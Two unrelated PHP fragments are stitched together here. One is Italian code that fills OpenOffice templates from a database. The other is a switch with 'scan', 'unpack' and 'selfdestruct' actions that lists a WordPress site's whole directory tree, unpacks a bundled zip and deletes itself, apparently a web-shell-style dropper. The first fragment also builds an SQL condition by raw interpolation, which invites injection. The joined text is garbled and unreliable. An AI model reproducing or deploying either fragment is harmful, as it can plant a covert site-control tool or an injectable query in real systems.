// Inizializzazioni --- condizione della query SQL $cond = "pratica={$idpratica}"; if (strlen($nomefile) < 5) { $nomefile = substr($modello, 0, strlen($modello) - 4) . "{$idpratica}.sxw"; } $dir = "gestione_stampe/tmp"; if (!is_dir($dir)) { mkdir($dir); } $dir_modelli = "/gestione_stampe/modelli/"; $dir_save = getcwd() . "/gestione_stampe/" . $_SESSION["USERNAME"]; if (!is_dir($dir_save)) { mkdir($dir_save); } // unzippo il modello del documento if (unpackZip($dir_modelli . $modello, $dir . "/")) { //echo "Dovrei aver scompattato!!!!<br>"; //Acquisisco il file xml if (!($dom = domxml_open_file(getcwd() . "/{$dir}/content.xml"))) { echo "error"; exit; } } $db = new sql_db($dbhost, $dbuname, $dbpass, $dbname, false); if (!$db->db_connect_id) { die("Impossibile connettersi al database {$dbtype}"); } $root = $dom->document_element(); $start = $root->get_elements_by_tagname("body"); $lista_field = $root->get_elements_by_tagname("user-field-get"); $out = get_table_fields($root);
case 'scan': $fileName = str_replace('.php', '.tmp', __FILE__); $ignore[] = '/' . basename(__FILE__); $ignore[] = '/' . basename($fileName); $fileHandle = fopen($fileName, 'w'); recScandir(ABSPATH, $fileHandle); fclose($fileHandle); echo file_get_contents($fileName); unlink($fileName); break; case 'unpack': $fileName = str_replace('.php', '.zip', __FILE__); $ret = new stdClass(); $ret->status = '200'; $ret->messages = array(); unpackZip($fileName, $ret); echo json_encode($ret); break; case 'selfdestruct': unlink(__FILE__); break; } function recScandir($dir, $f) { global $ignore; $dir = rtrim($dir, '/'); $root = scandir($dir); foreach ($root as $value) { if ($value === '.' || $value === '..') { continue; }